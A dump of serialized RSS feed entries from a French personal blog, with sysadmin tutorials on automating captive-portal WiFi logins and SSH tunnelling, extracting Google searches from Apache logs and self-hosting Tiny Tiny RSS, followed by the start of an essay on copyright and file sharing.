La première étape est de pouvoir réaliser cette authentification en ligne de commande, à partir de l’identifiant et du mot de passe. C’est très simple, il suffit d’imiter ce que fait le navigateur lors du clic sur le bouton Valider.

Pour cela, deux choses sont nécessaires : l’URL de la page de validation d’authentification et les champs de formulaire qu’elle utilise.

Pour les connaître, il faut regarder le code source de la page sur laquelle vous êtes redirigés, en particulier la balise form. Voici un exemple de ce que vous pouvez obtenir (le HTML n’est pas toujours super propre sur ce genre de pages) :

<form method="post" action="http://10.9.0.1:8000/">
Login <input name="auth_user" type="text">
Password <input name="auth_pass" type="password">
<input type="checkbox" name="regagree" value="valeur"
onClick="ChangeStatut(this.form)"> J'accepte le règlement
<input name="redirurl" type="hidden"
value="http://www.google.com/search?ie=UTF-8">
<input type="submit" name="accept" value="Continuer" disabled>
</form>

Tout y est. La valeur de l’attribut action est l’URL de validation, et le nom des champs utilisés est dans l’attribut name de chaque balise input.

Dans cet exemple, seuls auth_user et auth_pass semblent utiles, mais parfois le serveur effectue des vérifications (étranges) supplémentaires. Ici, il vérifie qu’il y a bien un attribut accept qui vaut Continuer (allez savoir pourquoi).

À partir de ces champs, nous allons construire la chaîne des paramètres sous la forme :

champ1=valeur1&champ2=valeur2&champ3=valeur3

et l’envoyer au serveur en POST, par exemple grâce à la commande POST (en majuscules, ça surprend un peu pour une commande shell) :

POST http://10.9.0.1:8000/ <<<
'auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer'

Si la page d’authentification est en HTTPS, il faudra installer le paquet libcrypt-ssleay-perl, ou alors utiliser wget :

wget -qO- https://10.9.0.1:8000/
--post-data='auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer'

Voilà, nous avons reproduit en ligne de commande le comportement du navigateur pour l’authentification. Nous devons maintenant faire en sorte que cette commande soit exécutée dès la connexion au réseau WiFi.

Exécuter un script lors de la connexion

NetworkManager (le gestionnaire de connexion par défaut d’Ubuntu) permet d’exécuter des scripts lors de la connexion ou la déconnexion. Pour cela, il suffit de placer le script dans /etc/NetworkManager/dispatcher.d/ et de le rendre exécutable.

Le script est appelé avec deux paramètres :

Nous voulons exécuter la commande POST uniquement lors de la connexion de wlan0, et seulement pour le réseau concerné (par exemple celui ayant le nom MonLieuDeVacances).

Il est possible de récupérer le nom du réseau (l’ESSID) auquel nous sommes connectés grâce à iwconfig :

iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/'

Il faut donc créer un script dans /etc/NetworkManager/dispatcher.d/10auth :

sudo vi /etc/NetworkManager/dispatcher.d/10auth

ayant cette structure :

#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed
's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'MonLieuDeVacances')
            POST http://10.9.0.1:8000/ <<< 'auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer' ;;
        'MaGare')
            POST http://192.168.0.1 <<< 'accept_cgu=1' ;;
    esac
fi

Et le rendre exécutable :

sudo chmod +x /etc/NetworkManager/dispatcher.d/10auth

Script pour FreeWifi

Les pages d’authentification varient d’un réseau à l’autre, il faut donc adapter les paramètres de connexion selon le service utilisé.

Voici le script à utiliser (en adaptant votre identifiant et votre mot de passe) pour le réseau FreeWifi (très connu) :

#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'FreeWifi')
            wget -qO- https://wifi.free.fr/Auth --post-data='login=IDENTIFIANT&password=MOT_DE_PASSE' ;;
    esac
fi

Tunnel SSH

Ces réseaux ouverts, gérant éventuellement une authentification HTTP, ne sont pas chiffrés : n’importe qui écoutant ce qui transite dans les airs pourra récupérer tout le contenu de votre trafic. Si vous avez un ordinateur allumé chez vous (sur un réseau “sûr”) accessible en SSH, je vous conseille de faire passer toutes les connexions dans un tunnel chiffré.

Le principe est simple : dès que vous accédez à un serveur (par exemple en tapant l’URL dans un navigateur web), l’ordinateur ne va pas s’y connecter directement, il va transmettre les informations en passant par un tunnel chiffré à votre serveur SSH, qui lui va s’y connecter, et vous renvoyer la page à travers le tunnel. Techniquement, le tunnel est un proxy SOCKS écoutant sur un port local (par exemple localhost:3128).

Pour démarrer le tunnel :

ssh monserveur -CND3128

Pour configurer le système afin qu’il utilise le tunnel SSH, Système → Préférences → Serveur mandataire (gnome-network-properties), puis configurer comme sur la capture d’écran :

proxy

Dans l’onglet Hôtes à ignorer, rajouter l’adresse de la page d’authentification.

Ainsi, toutes les connexions des logiciels utilisant les paramètres proxy du système passeront par le tunnel. Il est également possible de configurer ceci dans chaque logiciel individuellement (s’ils le proposent).

Pour Firefox, il est également recommandé dans about:config de passer la variable network.proxy.socks_remote_dns à true, afin que les DNS soient résolus également de l’autre côté du tunnel (sur le réseau “sûr”).

Vous trouverez plus d’infos sur mon billet concernant SSH.

Conclusion

La connexion à des points d’accès WiFi publics demandant à chaque fois une authentification ou une acceptation des conditions d’utilisation devient rapidement insupportable. Il est donc appréciable de l’automatiser.

De plus, ces réseaux ne sont pas “sûrs”, n’importe qui peut écouter le trafic. Il est donc nécessaire de le chiffrer en passant par un réseau de confiance, par exemple avec un tunnel SSH.

";s:7:"dateiso";s:15:"20110731_114334";}s:15:"20110624_151036";a:7:{s:5:"title";s:46:"Extraire les recherches Google des logs Apache";s:4:"link";s:77:"http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2685";s:7:"pubDate";s:31:"Fri, 24 Jun 2011 13:10:36 +0000";s:11:"description";s:515:"Aujourd’hui, c’est un billet de distraction pour geeks. Lister les recherches Si vous utilisez Apache, voici une commande qui liste dans l’ordre alphabétique les recherches Google ayant permis aux internautes d’arriver sur vos sites : php -r "echo urldecode(\"`zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-`\");"|sort|uniq -c EDIT 25/06/2011 : cette commande semble échouer lorsque la liste des recherches [...]";s:7:"content";s:5373:"

Aujourd’hui, c’est un billet de distraction pour geeks.

Lister les recherches

Si vous utilisez Apache, voici une commande qui liste dans l’ordre alphabétique les recherches Google ayant permis aux internautes d’arriver sur vos sites :

php -r "echo urldecode(\"`zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-`\");"|sort|uniq -c

EDIT 25/06/2011 : cette commande semble échouer lorsque la liste des recherches est trop longue, celle donnée à la fin du billet est donc à préférer.
(pour les autres moteurs de recherche, il faudrait s’inspirer de ce qu’ont fait les développeurs de Piwik)

Voici à quoi ressemble le résultat de la commande :

      1 ubtunu tiny tiny rss
      5 ubuntu
      1 ubuntu 10.04 change startup screen
      1 ubuntu 10.04 configurer compte messagerie hotmail dans couriel
      3 ubuntu 10.04 cryptage
      1 ubuntu 10.04 écran grub invisible au démarrage
      2 ubuntu 10.04 ecran noir nvidia
      1 ubuntu 10.04 et video nvidia
      1 ubuntu 10.04 grub nvidia
      1 ubuntu 10.04 grub-pc couleur
      4 ubuntu 10.04 installation partition home chiffrée

Le texte correspond aux recherches, le numéro devant indique le nombre de fois où elles ont été effectuées.

Analyse

Billets les plus recherchés

Sans conteste, les deux billets qui amènent le plus d’internautes par Google concernent pluzz et apk. Et parfois ça ne doit pas les aider beaucoup : certains recherchent par exemple « pluzz plus belle la vie » dans Google à partir d’Internet Explorer, je ne suis pas sûr que mon script shell pour pluzz réponde à leurs attentes.

Recherches insolites

Dans la liste, il y a forcément des recherches drôles ou étranges. En voici quelques unes que j’ai trouvées dans mes logs :

Il y a certains sites qui s’amusent à référencer ce genre de recherches, par exemple Comment devenir un ninja gratuitement ?

N’hésitez pas à poster les vôtres…

Challenge

J’ai essayé d’écrire la commande la plus courte possible. Je n’ai pas réussi à faire moins de 129 caractères sans perdre d’information ou prendre plus de risque (par exemple on pourrait remplacer apache2 par a*2, mais c’est plus risqué).

Par contre, cette commande ne fonctionne pas correctement si l’on rajoute |less (on ne peut pas se déplacer avec haut et bas), je ne sais pas trop pourquoi ni comment le résoudre (si certains ont une idée).
Une autre commande, sans php (en 141 caractères), ne pose pas ce problème :

zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-|echo -e $(sed 's/$/\\n/;s/+/ /g;s/%/\\x/g')|sort|uniq -c

Si vous avez des astuces pour faire mieux que 129 (ou 141), ne vous gênez pas ;-)

Scripts

D’autres ont fait des scripts plus complets, qui permettent de récupérer des informations supplémentaires, par exemple la page sur laquelle l’internaute est arrivé en effectuant cette recherche…

";s:7:"dateiso";s:15:"20110624_151036";}s:15:"20110624_131036";a:7:{s:5:"title";s:46:"Extraire les recherches Google des logs Apache";s:4:"link";s:76:"http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache";s:4:"guid";s:76:"http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache";s:7:"pubDate";s:25:"2011-06-24T13:10:36+02:00";s:11:"description";s:0:"";s:7:"content";s:5668:"

Aujourd’hui, c’est un billet de distraction pour geeks.

Lister les recherches

Si vous utilisez Apache, voici une commande qui liste dans l’ordre alphabétique les recherches Google ayant permis aux internautes d’arriver sur vos sites :

php -r "echo urldecode(\"$(zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-)\");"|sort|uniq -c

EDIT 25/06/2011 : cette commande semble échouer lorsque la liste des recherches est trop longue, celle donnée à la fin du billet est donc à préférer.

(pour les autres moteurs de recherche, il faudrait s’inspirer de ce qu’ont fait les développeurs de Piwik)

Voici à quoi ressemble le résultat de la commande :

      1 ubtunu tiny tiny rss
      5 ubuntu
      1 ubuntu 10.04 change startup screen
      1 ubuntu 10.04 configurer compte messagerie hotmail dans couriel
      3 ubuntu 10.04 cryptage
      1 ubuntu 10.04 écran grub invisible au démarrage
      2 ubuntu 10.04 ecran noir nvidia 
      1 ubuntu 10.04 et video nvidia
      1 ubuntu 10.04 grub nvidia
      1 ubuntu 10.04 grub-pc couleur
      4 ubuntu 10.04 installation partition home chiffrée

Le texte correspond aux recherches, le numéro devant indique le nombre de fois où elles ont été effectuées.

Analyse

Billets les plus recherchés

Sans conteste, les deux billets qui amènent le plus d’internautes par Google concernent pluzz et apk.

Et parfois ça ne doit pas les aider beaucoup : certains recherchent par exemple “pluzz plus belle la vie” dans Google à partir d’Internet Explorer, je ne suis pas sûr que mon script shell pour pluzz réponde à leurs attentes.

Recherches insolites

Dans la liste, il y a forcément des recherches drôles ou étranges. En voici quelques unes que j’ai trouvées dans mes logs :

Il y a certains sites qui s’amusent à référencer ce genre de recherches, par exemple Comment devenir un ninja gratuitement ?

N’hésitez pas à poster les vôtres…

Challenge

J’ai essayé d’écrire la commande la plus courte possible. Je n’ai pas réussi à faire moins de 129 caractères sans perdre d’information ou prendre plus de risque (par exemple on pourrait remplacer apache2 par a*2, mais c’est plus risqué).

Par contre, cette commande ne fonctionne pas correctement si l’on rajoute |less (on ne peut pas se déplacer avec haut et bas), je ne sais pas trop pourquoi ni comment le résoudre (si certains ont une idée).

Une autre commande, sans php (en 141 caractères), ne pose pas ce problème :

zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-|echo -e $(sed 's/$/\\n/;s/+/ /g;s/%/\\x/g')|sort|uniq -c

Si vous avez des astuces pour faire mieux que 129 (ou 141), ne vous gênez pas ;-)

Scripts

D’autres ont fait des scripts plus complets, qui permettent de récupérer des informations supplémentaires, par exemple la page sur laquelle l’internaute est arrivé en effectuant cette recherche…

";s:7:"dateiso";s:15:"20110624_131036";}s:15:"20110614_141141";a:7:{s:5:"title";s:46:"Tiny Tiny RSS : auto-hébergement des flux RSS";s:4:"link";s:74:"http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2592";s:7:"pubDate";s:31:"Tue, 14 Jun 2011 12:11:41 +0000";s:11:"description";s:364:"Je vais expliquer dans ce billet pourquoi et comment installer Tiny Tiny RSS, un gestionnaire de flux RSS sur son serveur. Motivations Pourquoi un serveur ? Il existe de nombreux clients d’agrégateurs de flux, tels que Liferea sous Gnome ou NewsFox dans Firefox. Cependant, un tel client pose principalement deux problèmes. Le premier, c’est le [...]";s:7:"content";s:14455:"


Je vais expliquer dans ce billet pourquoi et comment installer Tiny Tiny RSS, un gestionnaire de flux RSS sur son serveur.

Motivations

Pourquoi un serveur ?

Il existe de nombreux clients d’agrégateurs de flux, tels que Liferea sous Gnome ou NewsFox dans Firefox.

Cependant, un tel client pose principalement deux problèmes.

Un gestionnaire de flux doit donc, d’après moi, forcément être hébergé sur un serveur.

Pourquoi son serveur ?

De nombreux services en ligne proposent la gestion de flux RSS (Google Reader, NetVibes, etc.).

Pourquoi donc héberger un tel service sur son propre serveur ?

Installation

Je vais expliquer l’installation de Tiny Tiny RSS pour ma configuration, à savoir Ubuntu Server 11.04, avec Apache et MySQL.
Je vais l’installer dans ~/flux (le répertoire flux de mon home), avec un lien symbolique /var/www/flux. L’application sera accessible à partir de flux.rom1v.com. Adaptez ces valeurs selon vos besoins.

Dépendances

Tiny Tiny RSS a besoin de php5-curl :

sudo apt-get install php5-curl

Téléchargement

Télécharger la dernière version en bas de la page officielle (actuellement la 1.5.4).

Extraire l’archive dans ~/ :

tar xzf tt-rss-1.5.4.tar.gz

Et renommer le répertoire :

mv tt-rss-1.5.4 flux

Base de données

Il faut ensuite initialiser la base de données, grâce aux scripts fournis. Pour cela, aller dans le répertoire des scripts :

cd flux/schema

Puis se connecter à MySQL :

$ mysql -uroot -p
Enter password:

Une fois connecté, créer la base de données flux :

mysql> CREATE DATABASE flux;
Query OK, 1 row affected (0,00 sec)

Puis créer un utilisateur flux avec les droits sur cette base (on pourra générer son mot de passe grâce à pwgen) :

mysql> GRANT ALL PRIVILEGES ON flux.* TO flux@localhost IDENTIFIED BY 'unmotdepasse';
Query OK, 0 rows affected (0.04 sec)

Initialiser la base de données :

mysql> USE flux
Database changed

mysql> \. ttrss_schema_mysql.sql

La base de données est prête.

Configuration

Retourner dans le répertoire ~/flux :

cd ..

Copier le modèle du fichier de configuration :

cp config.php-dist config.php

Puis l’éditer, par exemple :

nano config.php

Modifier les informations de connexion à la base de données :

        define('DB_TYPE', "mysql");
        define('DB_HOST', "localhost");
        define('DB_USER', "flux");
        define('DB_NAME', "flux");
        define('DB_PASS', "unmotdepasse");

Modifier l’URL d’accès à l’application, pour moi :

        define('SELF_URL_PATH', 'http://flux.rom1v.com');

Désactiver le mode utilisateur unique (sans quoi l’accès à l’application sera public sans authentification) :

        define('SINGLE_USER_MODE', false);

Si Tiny Tiny RSS est installé à la racine du site (c’est mon cas : flux.rom1v.com/), il faut modifier le répertoire d’icônes, car /icons est réservé par Apache :

        define('ICONS_DIR', "tt-icons");
        define('ICONS_URL', "tt-icons");

Je conseille de désactiver la vérification des nouvelles versions, car lorsque le site de Tiny Tiny RSS ne répond plus, l’application rencontre des difficultés :

        define('CHECK_FOR_NEW_VERSION', false);

Pour les performances, activer la compression :

        define('ENABLE_GZIP_OUTPUT', true);

Enfin, une fois que la configuration est terminée, modifier la ligne :

        define('ISCONFIGURED', true);

Les modifications du fichier de configuration sont terminés.

Maintenant, renommer le répetoire icons (comme dans le fichier de configuration) :

mv icons tt-icons

Serveur web

Il faut maintenant héberger l’application sur Apache.

Tout d’abord, donner les droits à www-data sur les répertoires où il a besoin d’écrire :

sudo chown -R www-data: cache tt-icons lock

Puis faire un lien symbolique vers le répertoire /var/www/ :

sudo ln -s ~/flux /var/www/

Créer (au besoin) un nouveau VirtualHost pour le site, dans le répertoire /etc/apache2/sites-available (pour moi dans un fichier nommé flux.rom1v.com) :

<VirtualHost *:80>
	DocumentRoot	/var/www/flux
	ServerName	flux.rom1v.com

	<Directory /var/www/flux/>
		Options FollowSymLinks MultiViews
		AllowOverride All
		Order allow,deny
		allow from all
	</Directory>

	ErrorLog	/var/log/apache2/flux_error.log
	CustomLog	/var/log/apache2/flux_access.log combined

</VirtualHost>

Activer le site :

sudo a2ensite flux.rom1v.com

Redémarrer Apache (un simple reload aurait suffit si nous n’avions pas installé php5-curl tout à l’heure) :

sudo service apache2 restart

Configuration utilisateur

Compte utilisateur

L’application doit maintenant fonctionner. S’y connecter, avec l’utilisateur admin et le mot de passe password (l’utilisateur par défaut), puis aller dans la configuration et changer le mot de passe.

Importation et exportation

Tiny Tiny RSS permet l’importation et l’exportation d’un fichier OPML. Il est ainsi possible de migrer facilement d’un gestionnaire de flux à un autre.

Intégration à Firefox

Il est possible d’associer son instance de Tiny Tiny RSS à Firefox : toujours dans la configuration, dans l’onglet Flux, Intégration à Firefox, cliquer sur le bouton.

Pour tester, se rendre sur un site, et afficher la liste des flux disponibles. Pour cela, cliquer sur le petit icône à gauche de l’adresse, puis sur Plus d’informations…, sur l’onglet Flux (s’il y en a un), et enfin sur le flux désiré. Par exemple, pour ce blog :

En cliquant sur S’abonner maintenant, Firefox devrait proposer d’utiliser Tiny Tiny RSS.

Programmation de la mise à jour des flux

Il reste encore une étape importante : le serveur doit régulièrement mettre à jour le contenu de chacun des flux auxquels nous sommes abonnés.

Plusieurs méthodes sont décrites sur cette page. Certaines chargent les flux séquentiellement (par cron notamment), ce qui peut poser problème : supposons que nous soyons abonnés à 300 flux, avec une mise à jour toutes les 30 minutes, ça donne une moyenne de 6 secondes par flux. Si certains sites sont long à répondre, la mise à jour risque de dépasser le temps imparti, et cron va lancer une nouvelle tâche avant que la précédente soit terminée (heureusement Tiny Tiny RSS pose un verrou, donc il ne fera rien la seconde fois, mais du coup nous perdons une mise à jour). Ceci est d’autant plus dommage que l’essentiel de la durée nécessaire est le temps de connexion à chacun des sites : mieux vaut donc paralléliser le chargement.

C’est la raison pour laquelle je préfère la dernière méthode : lancer un démon multi-processus au démarrage du serveur. Par contre, étant donné le fonctionnement du démon proposé, il ne semble pas possible d’en faire un script init.d propre. Le plus simple est donc de rajouter dans /etc/rc.local :

start-stop-daemon -c www-data -Sbx /var/www/flux/update_daemon2.php

Vous pouvez exécuter cette commande maintenant pour charger les flux la première fois.

Ce démon utilise plusieurs processus (par défaut 2), qui mettent à jour les flux par blocs (par défaut, de 100). Pour changer ces variables (par exemple pour avoir 5 processus qui chargent des blocs de 50), dans config.php :

        define('DAEMON_FEED_LIMIT', 50);

et dans update_daemon2.php :

        define('MAX_JOBS', 5);

Autres interfaces

Une interface mobile en HTML est intégrée. Pour y accéder, il suffit d’ajouter à l’URL /mobile.

Pour Android, il existe également une application : ttrss-reader-fork (à tester, mais je la trouve assez buggée). Pour lui permettre l’accès, il est nécessaire de sélectionner « Activer les API externes » dans la page de configuration de Tiny Tiny RSS.

Conclusion

Vous n’avez plus de raison de laisser traîner vos flux RSS n’importe où ;-)

";s:7:"dateiso";s:15:"20110614_141141";}s:15:"20110614_121141";a:7:{s:5:"title";s:47:"Tiny Tiny RSS : auto-hébergement des flux RSS";s:4:"link";s:73:"http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss";s:4:"guid";s:73:"http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss";s:7:"pubDate";s:25:"2011-06-14T12:11:41+02:00";s:11:"description";s:0:"";s:7:"content";s:14772:"

Je vais expliquer dans ce billet pourquoi et comment installer Tiny Tiny RSS, un gestionnaire de flux RSS) sur son serveur.

Motivations

Pourquoi un serveur ?

Il existe de nombreux clients d’agrégateurs de flux, tels que Liferea sous Gnome ou NewsFox dans Firefox.

Cependant, un tel client pose principalement deux problèmes.

Un gestionnaire de flux doit donc, d’après moi, forcément être hébergé sur un serveur.

Pourquoi son serveur ?

De nombreux services en ligne proposent la gestion de flux RSS (Google Reader, NetVibes, etc.).

Pourquoi donc héberger un tel service sur son propre serveur ?

Installation

Je vais expliquer l’installation de Tiny Tiny RSS pour ma configuration, à savoir Ubuntu Server 11.04, avec Apache et MySQL. Je vais l’installer dans ~/flux (le répertoire flux de mon home), avec un lien symbolique /var/www/flux. L’application sera accessible à partir de flux.rom1v.com. Adaptez ces valeurs selon vos besoins.

Dépendances

Tiny Tiny RSS a besoin de php5-curl :

sudo apt-get install php5-curl

Téléchargement

Télécharger la dernière version en bas de la page officielle (actuellement la 1.5.4).

Extraire l’archive dans ~/ :

tar xzf tt-rss-1.5.4.tar.gz

Et renommer le répertoire :

mv tt-rss-1.5.4 flux

Base de données

Il faut ensuite initialiser la base de données, grâce aux scripts fournis. Pour cela, aller dans le répertoire des scripts :

cd flux/schema

Puis se connecter à MySQL :

$ mysql -uroot -p
Enter password:

Une fois connecté, créer la base de données flux :

mysql> CREATE DATABASE flux;
Query OK, 1 row affected (0,00 sec)

Puis créer un utilisateur flux avec les droits sur cette base (on pourra générer son mot de passe grâce à pwgen) :

mysql> GRANT ALL PRIVILEGES ON flux.* TO flux@localhost IDENTIFIED BY 'unmotdepasse';
Query OK, 0 rows affected (0.04 sec)

Initialiser la base de données :

mysql> USE flux
Database changed

mysql> \. ttrss_schema_mysql.sql

La base de données est prête.

Configuration

Retourner dans le répertoire ~/flux :

cd ..

Copier le modèle du fichier de configuration :

cp config.php-dist config.php

Puis l’éditer, par exemple :

vim config.php

Modifier les informations de connexion à la base de données :

        define('DB_TYPE', "mysql");
        define('DB_HOST', "localhost");
        define('DB_USER', "flux");
        define('DB_NAME', "flux");
        define('DB_PASS', "unmotdepasse");

Modifier l’URL d’accès à l’application, pour moi :

        define('SELF_URL_PATH', 'http://flux.rom1v.com');

Désactiver le mode utilisateur unique (sans quoi l’accès à l’application sera public sans authentification) :

        define('SINGLE_USER_MODE', false);

Si Tiny Tiny RSS est installé à la racine du site (c’est mon cas : flux.rom1v.com/), il faut modifier le répertoire d’icônes, car /icons est réservé par Apache :

        define('ICONS_DIR', "tt-icons");
        define('ICONS_URL', "tt-icons");

Je conseille de désactiver la vérification des nouvelles versions, car lorsque le site de Tiny Tiny RSS ne répond plus, l’application rencontre des difficultés :

        define('CHECK_FOR_NEW_VERSION', false);

Pour les performances, activer la compression :

        define('ENABLE_GZIP_OUTPUT', true);

Enfin, une fois que la configuration est terminée, modifier la ligne :

        define('ISCONFIGURED', true);

Les modifications du fichier de configuration sont terminées.

Maintenant, renommer le répetoire icons (comme dans le fichier de configuration) :

mv icons tt-icons

Serveur web

Il faut maintenant héberger l’application sur Apache.

Tout d’abord, donner les droits à www-data sur les répertoires où il a besoin d’écrire :

sudo chown -R www-data: cache tt-icons lock

Puis faire un lien symbolique vers le répertoire /var/www/ :

sudo ln -s ~/flux /var/www/

Créer (au besoin) un nouveau VirtualHost pour le site, dans le répertoire /etc/apache2/sites-available (pour moi dans un fichier nommé flux.rom1v.com) :

<VirtualHost *:80>
  DocumentRoot  /var/www/flux
  ServerName  flux.rom1v.com
  
  <Directory /var/www/flux/>
    Options FollowSymLinks MultiViews
    AllowOverride All
    Order allow,deny
    allow from all
  </Directory>
  
  ErrorLog  /var/log/apache2/flux_error.log
  CustomLog /var/log/apache2/flux_access.log combined

</VirtualHost>

Activer le site :

sudo a2ensite flux.rom1v.com

Redémarrer Apache (un simple reload aurait suffit si nous n’avions pas installé php5-curl tout à l’heure) :

sudo service apache2 restart

Configuration utilisateur

Compte utilisateur

L’application doit maintenant fonctionner. S’y connecter, avec l’utilisateur admin et le mot de passe password (l’utilisateur par défaut), puis aller dans la configuration et changer le mot de passe.

Importation et exportation

Tiny Tiny RSS permet l’importation et l’exportation d’un fichier OPML. Il est ainsi possible de migrer facilement d’un gestionnaire de flux à un autre.

Intégration à Firefox

Il est possible d’associer son instance de Tiny Tiny RSS à Firefox : toujours dans la configuration, dans l’onglet Flux, Intégration à Firefox, cliquer sur le bouton.

Pour tester, se rendre sur un site, et afficher la liste des flux disponibles. Pour cela, cliquer sur le petit icône à gauche de l’adresse, puis sur Plus d’informations…, sur l’onglet Flux (s’il y en a un), et enfin sur le flux désiré. Par exemple, pour ce blog :

blog-rss

En cliquant sur S’abonner maintenant, Firefox devrait proposer d’utiliser Tiny Tiny RSS.

Programmation de la mise à jour des flux

Il reste encore une étape importante : le serveur doit régulièrement mettre à jour le contenu de chacun des flux auxquels nous sommes abonnés.

Plusieurs méthodes sont décrites sur cette page. Certaines chargent les flux séquentiellement (par cron notamment), ce qui peut poser problème : supposons que nous soyons abonnés à 300 flux, avec une mise à jour toutes les 30 minutes, ça donne une moyenne de 6 secondes par flux. Si certains sites sont long à répondre, la mise à jour risque de dépasser le temps imparti, et cron va lancer une nouvelle tâche avant que la précédente soit terminée (heureusement Tiny Tiny RSS pose un verrou, donc il ne fera rien la seconde fois, mais du coup nous perdons une mise à jour). Ceci est d’autant plus dommage que l’essentiel de la durée nécessaire est le temps de connexion à chacun des sites : mieux vaut donc paralléliser le chargement.

C’est la raison pour laquelle je préfère la dernière méthode : lancer un démon multi-processus au démarrage du serveur. Par contre, étant donné le fonctionnement du démon proposé, il ne semble pas possible d’en faire un script init.d propre. Le plus simple est donc de rajouter dans /etc/rc.local :

start-stop-daemon -c www-data -Sbx /var/www/flux/update_daemon2.php

Vous pouvez exécuter cette commande maintenant pour charger les flux la première fois.

Ce démon utilise plusieurs processus (par défaut 2), qui mettent à jour les flux par blocs (par défaut, de 100). Pour changer ces variables (par exemple pour avoir 5 processus qui chargent des blocs de 50), dans config.php :

        define('DAEMON_FEED_LIMIT', 50);

et dans update_daemon2.php :

        define('MAX_JOBS', 5);

Autres interfaces

Une interface mobile en HTML est intégrée. Pour y accéder, il suffit d’ajouter à l’URL /mobile.

Pour Android, il existe également une application : ttrss-reader-fork (à tester, mais je la trouve assez buggée). Pour lui permettre l’accès, il est nécessaire de sélectionner “Activer les API externes” dans la page de configuration de Tiny Tiny RSS.

Conclusion

Vous n’avez plus de raison de laisser traîner vos flux RSS n’importe où ;-)

";s:7:"dateiso";s:15:"20110614_121141";}s:15:"20110608_104237";a:7:{s:5:"title";s:34:"L’abondance contre l’économie";s:4:"link";s:58:"http://blog.rom1v.com/2011/06/labondance-contre-leconomie/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2417";s:7:"pubDate";s:31:"Wed, 08 Jun 2011 08:42:37 +0000";s:11:"description";s:389:"Le droit d’auteur sur Internet Les lois répressives pour défendre le droit d’auteur sont justifiées par une règle que certains jugent incontestable : un auteur a le droit de décider la manière dont son œuvre sera diffusée. S’il ne souhaite pas rendre son œuvre disponible autrement que par les canaux de diffusion qu’il aura choisis, c’est [...]";s:7:"content";s:18586:"

Le droit d’auteur sur Internet

Les lois répressives pour défendre le droit d’auteur sont justifiées par une règle que certains jugent incontestable : un auteur a le droit de décider la manière dont son œuvre sera diffusée. S’il ne souhaite pas rendre son œuvre disponible autrement que par les canaux de diffusion qu’il aura choisis, c’est son choix.

Pourtant, un auteur ne peut pas avoir tous les droits, certains droits sont nécessaires pour le public. Par exemple, ce n’est pas parce que c’est son œuvre (laissons ici de côté la part dont il redevable aux créateurs précédents) qu’il peut interdire à la population d’y penser, d’en parler, de la critiquer, etc. Pour quelle raison devrait-il pouvoir interdire son utilisation non-commerciale ?

La réponse qui vient à l’esprit est évidente, c’est le raisonnement de ceux qui sont favorables à l’interdiction du partage : un artiste, comme toute autre personne, a le droit de vivre de son travail. Si tout le monde peut accéder aux œuvres de manière illimitée et gratuite, alors, disent-ils, l’artiste ne pourra plus vendre son travail.

Ceux qui sont favorables à la légalisation du partage de fichiers leur répondront que ceux qui téléchargent le plus sont ceux qui achètent le plus, que de nouveaux modèles économiques sont nécessaires, qu’une meilleure diffusion augmente la notoriété de l’artiste, qui pourra ainsi attirer plus de monde à ses concerts, etc. Mais surtout, bien avant les arguments économiques, ils défendent ce qu’ils jugent meilleur pour la société.

En effet, pour la société, la culture a tout à gagner à être abondante et accessible à tous. Le problème est que sa « valeur marchande » diminue lorsque son abondance augmente. La dématérialisation permet la surabondance : tout le monde peut partager et copier indéfiniment et gratuitement. Nous ne pouvons pas rêver mieux si nous défendons l’abondance.

Par contre, si nous nous concentrons sur la valeur marchande, nous en concluons que l’abondance ruine la culture, car alors il n’est pas possible de la faire payer. Ainsi nous nous lançons dans une guerre contre le partage pour restaurer une rareté propice à satisfaire une demande solvable, au nom des intérêts supposés des auteurs (et surtout des ayant-droits).

Il semble donc y avoir une opposition directe entre l’intérêt des auteurs et celui de la société. Si nous devions choisir entre les deux, nous pourrions nous inspirer de la pensée de Victor Hugo :

Le livre, comme livre, appartient à l’auteur, mais comme pensée, il appartient – le mot n’est pas trop vaste – au genre humain. Toutes les intelligences y ont droit. Si l’un des deux droits, le droit de l’écrivain et le droit de l’esprit humain, devait être sacrifié, ce serait, certes, le droit de l’écrivain, car l’intérêt public est notre préoccupation unique, et tous, je le déclare, doivent passer avant nous.

Mais ces intérêts sont-ils réellement en conflit ? Et pourquoi ?

Une restriction étrange


La diffusion sans restriction de la culture et de la connaissance est sans conteste bénéfique pour la société.
Mais est-elle bénéfique pour les auteurs ? Sans aucun doute : rendre accessible à davantage de personnes leurs œuvres sans aucun coût ni travail supplémentaire leur est profitable. La seule condition pour eux est d’obtenir les moyens de leur subsistance (ce que de toute façon, pour la plupart, les droits d’auteur ne leur permettent pas dans le système actuel).

